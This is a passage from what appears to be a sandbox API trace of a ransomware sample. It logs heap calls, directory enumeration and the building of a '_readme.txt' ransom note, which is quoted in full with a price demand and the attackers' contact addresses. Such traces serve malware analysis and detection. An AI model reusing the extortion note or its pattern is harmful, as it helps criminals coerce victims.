Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.495] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.495] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.495] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.495] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.495] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.495] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.495] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.495] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.495] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.495] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.495] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.495] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0111.495] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.495] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.495] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.495] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.495] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.495] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.495] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.495] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.496] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.496] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.496] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.496] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.496] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.496] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.496] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.496] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.496] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.496] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.496] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.496] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.496] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.496] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.496] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.496] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.496] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.496] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.496] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.496] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.496] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.496] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.496] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.496] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.496] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.496] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.496] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.496] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.496] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.496] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.496] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.496] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.496] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.497] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.497] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.497] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.497] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.497] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.497] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.497] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.497] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.497] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.497] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.497] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.497] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.497] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.497] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.497] PathFindFileNameW (pszPath="C:\\Boot\\hu-HU\\") returned="hu-HU\\" [0111.497] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0111.497] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.497] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.497] PathFindFileNameW (pszPath="") returned="" [0111.497] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76190000 [0111.498] GetProcAddress (hModule=0x76190000, lpProcName="SHGetFolderPathW") returned 0x76215708 [0111.498] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x7b13900 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0111.498] FreeLibrary (hLibModule=0x76190000) returned 1 [0111.498] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.498] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.498] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.498] PathAppendW (in: pszPath="C:\\Boot\\hu-HU\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\hu-HU\\_readme.txt") returned 1 [0111.498] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac41a0 [0111.498] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.498] PathFileExistsW (pszPath="C:\\Boot\\hu-HU\\_readme.txt") returned 0 [0111.498] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x7d00) returned 0x7b152e0 [0111.498] lstrcpyW (in: lpString1=0x7b152e0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" [0111.498] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf", lpString2="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" [0111.498] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac4a28 [0111.498] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\_readme.txt" (normalized: "c:\\boot\\hu-hu\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.498] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac4a28 | out: hHeap=0x5010000) returned 1 [0111.498] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b152e0 | out: hHeap=0x5010000) returned 1 [0111.498] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.499] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.499] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.499] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.499] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.499] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0111.499] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0111.499] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.499] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac41a0 | out: hHeap=0x5010000) returned 1 [0111.499] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35c90 | out: hHeap=0x5010000) returned 1 [0111.499] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35c90 [0111.499] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.499] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.499] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.499] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.499] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.499] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.499] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.499] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.499] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.499] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.499] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.499] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.499] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.499] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.500] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.500] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.500] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.500] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.500] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.500] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.500] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.500] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.500] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.500] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.500] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.500] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.500] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.500] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0111.500] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.500] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.500] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.500] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.500] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.500] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.500] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.500] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.500] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.500] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.500] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.500] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.500] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.500] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.500] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.500] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.500] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.500] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.501] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.501] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.501] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.501] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.501] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.501] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.501] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.501] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.501] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.501] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.501] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.501] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.501] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.501] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.501] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.501] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.501] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.501] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.501] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.501] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.501] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.501] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.501] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.501] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.501] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.501] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.501] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.501] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.501] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.501] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.501] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.502] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.502] HeapFree (in: 